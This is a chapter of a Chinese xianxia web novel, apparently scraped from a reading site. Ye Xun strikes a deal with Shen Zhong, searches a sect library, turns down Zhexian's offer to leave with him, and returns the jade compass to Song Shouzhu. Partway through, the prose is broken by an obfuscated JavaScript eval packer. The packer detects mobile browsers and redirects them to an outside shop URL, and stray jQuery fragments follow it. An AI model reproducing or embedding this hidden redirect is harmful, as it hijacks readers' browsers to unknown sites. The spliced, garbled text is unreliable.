47. 第 47 章

作品:《我的任务到底是什么

    古雁门的五座主峰算得上是珊瑚群岛上灵气最充沛之地,如今也大不如前。


    药谷育出的灵植愈加瘦小,成倍的药草才能炼出一颗功效减半的灵丹。


    山中花草亦不茂,只余些耐寒抗暑的树木尚算葱郁。


    昨日,叶循与牧九良等人一道从西虞岛过来,亲眼盯着曲梁将郑邱霖、宴博华、庄牡丹之死的相关人员都再审问了一遍。


    先前指认宴博华的两个弟子翻供,道是楚述寅指使他们所为。


    宴博华的尸体也有庄牡丹体内的丝絮。


    沈重也过来了,交待了何时与楚述寅搭上线,两人是如何合作的。


    叶循的猜测有偏差,但大体是对的。


    沈重交代完,便要回西虞去。国师带了人要查搅整个西虞的“无为”残党。


    他下山前,叶循找到了他。


    摘星峰陡峭高峻,嶙峋白石裸露,峭壁石缝中长出苍翠的植被。摘星殿西面约两百米,有一悬亭,建在一块横生而出的巨石上,迎风临谷。


    两人相对坐于亭中,周遭云雾缭绕,亭外便是翻涌的云海。


    “我想与你做庄交易。”叶循开门见山。


    沈重:“我以为姑娘只会硬抢,想不到还会做交易。”


    叶循:“楚述寅已死,蓬莱岛和西虞岛都会遭受彻底的清剿,沈公子的抱负,要付诸何处?”


    沈重不咸不淡地看她。


    叶循又道:“若说有谁能带大家重返外界,我想这个人,只能是我。”


    女子面色无波,一张美艳的脸因为表情淡漠而显得疏离,狂妄自大的一句话,被她说得举重若轻。


    沈重静默一瞬,“若不是你杀了楚述寅,他也能带我们去神境。”


    叶循:“你还信他?”


    沈重不答话。


    叶循也不想在这个问题上多纠结,只是道:“事已至此,沈公子应当看得清,谁才是最可靠的……或者你从此只想在西虞岛上安生过活,亦无不可。”


    沈重沉默半晌,“你想要我做什么?”


    叶循:“两件事,第一,找傀儡蛊的用法和解法;第二……”


    她起身坐到沈重傍边的位子,让他附耳过去,低声说了。


    沈重怀疑地看着她,“你究竟想做什么?”


    叶循:“此事对你们也无害罢?”


    沈重:“那你什么时候兑现对我的承诺?”


    叶循:“出岛非一日之功,需等待时机。不过,东梁清查你的产业,有什么不想交出去的,我可以帮你藏匿,没有人能从我手上抢走东西。楚述寅以前提供多少灵宝钱财给你,我亦可想办法给你一些。”


    沈重略一沉吟,“那两件事,你要我什么时候做?”


    叶循:“越快越好。”


    与沈重交涉完,叶循重返摘星殿,向曲梁提出要借阅古雁门中的藏书。


    曲梁不愿答应,叶循表明自己会硬闯,他只得道了个“自便。”


    古雁门的藏经阁内卷帙浩繁,书本竹简、羊皮帛书挤满了高大的书架。书架之间悬了层层吊桥,供人行走寻找书目。


    叶循站在十余层吊桥之下,书架上的莹白明珠散发出清亮的光辉,能让她看清书页上的每一个字。


    两日倏忽而过。


    叶循查看了写修习的心法书目,了解到自己如今处于哪个阶层,以及今后该怎样继续精进——她可不想再被人赶超了。


    这里也有一些关于蛊虫的书,对于西虞各类蛊虫记录都较详细,许多本都有批注,她私下里与楚述寅的笔迹对比过,是他留的。


    看着那些整洁遒劲的字迹,她心中又会生出一些别样的情绪。


    “洗清嫌疑了,毒应当也解了吧,你怎么不开心?”声音从书架旁传来。


    叶循合上书,抬眸看向倚着书架的人。


    谪仙收了手中的扇子,拿过她手中的书随意翻看起来。


    叶循:“这个时候,你竟还能出现在这里?”


    牧九良也在古雁门清理“无为”的残党,正监督着曲梁清查整个门派。


    谪仙浑不在意,“我在这里百余年,怎么也比你们熟悉些。”


    叶循:“你究竟听命于谁?赵路然?还是楚述寅?”


    他笑了下,“都听。无为一直是师父在主导,楚述寅只是在背后出谋划策。掌门之死,他们都脱不了干系。


    “东梁秘宝的事,他们都知晓,只是师父不信,楚述寅当时也说不信,但如今看来,他是信了的,只是需要师父他们帮他调虎离山。


    “宴博华的死已引起了师父的警惕,后来庄牡丹又死了,师父便怀疑楚述寅,只是没想到还是被他利用。”


    他扬了扬手中的书,“别忧心,别愧疚,你没有杀错人。”


    “你哪只眼睛看出我在愧疚?”


    谪仙将书放回书架上,“你说没有,那就没有咯。”


    叶循看向他,“你跟着他们是想要什么?如今又打算做什么?”


    “最开始创立‘无为’,确是为了集结想重返外界之人,只是不知何时,一切都变了……我打算离开珊瑚群岛,去外界看看,或许能找到我想要的东西。”


    他正色看向叶循,“要同我一起么?”


    “不了。”叶循摇头。


    谪仙苦笑,“你还真是半点不犹豫。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282519|196244||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    顿了一下,他问道:“因为那个宋老板么?他就那么重要?”


    叶循还是无法适应他对着她露出这种儿女情长的模样,总觉别扭。


    她不让自己表现得太冷漠,“与他无关,我有我要做的事。”


    “你……保重。”她又加了句。


    谪仙嘶了声,“突然这么温柔?是不是对我回心转意啦?”


    叶循翻了个白眼,“滚!”


    谪仙哈哈大笑,“对嘛,我还是比较喜欢你满身是刺的样子。”


    叶循懒得理他。


    他笑了一会儿,停下来,“你若是因回应不了我的感情而觉得我可怜,大可不必,我要的不是怜悯。”


    他的声音低下来,“别放心上,你怎么自在怎么来。”


    叶循扭头看他,只看到一个飞速掠去的白色身影。


    她叹了口气,刚想继续找书,袖中有东西发热。


    她取出来,是牧九良给的传信符,一行字浮现在符上:


    宋守竹醒了。


    *


    宋守竹昏迷,玉斗盘便先由叶循收了起来。她估摸着这东西很重要,便对牧九良说要等宋守竹醒来看过,才能交还东梁。


    牧九良和赶到西虞的国师虽有意见,倒也没急赤白脸地要她立刻交还。


    如今宋守竹醒了,还跟国师一道急吼吼地来了摘星峰,叶循自然要把玉斗盘还给他。


    玉斗盘原形略大于手掌,方形的盘面上刻着天干地支八卦星宿,中央悬浮着寸许来长的“工”形玉石,玉石顶上是个小勺子。


    这玉斗盘看起来像个司南,又与寻常司南差之甚多。


    叶循双手托着玉斗盘,递向宋守竹。


    宋守竹接过时,一并托住了她的手背。


    叶循轻缓地抽了出去,整个过程,不曾看他一眼。


    玉斗盘灵力有所耗损,好在尚能运作。


    宋守竹查看之后便交还给了国师。


    国师拿了看过便要离开,宋守竹、牧九良、曲梁一道送他离开。


    “方才在船上所言,还请国师大人代宋某向陛下禀明。”宋守竹道。


    “宋老板放心,本官自会禀明陛下。”


    叶循竖起耳朵,二人却没再继续这个话题。


    几人将国师送出殿门,宋守竹和曲梁便折返了。


    宋守竹又将宴君兰的魂魄引了出来,告知她是楚述寅用傀儡蛊控制宴博华,致他死在叶循刀下。


    宴君兰意外不已,又对庄牡丹之死倍感伤心,最终觉得没什么可牵挂的了,由宋守竹超度了。


    叶循默默看着他做完一切,与曲梁说了什么,而后朝她走来。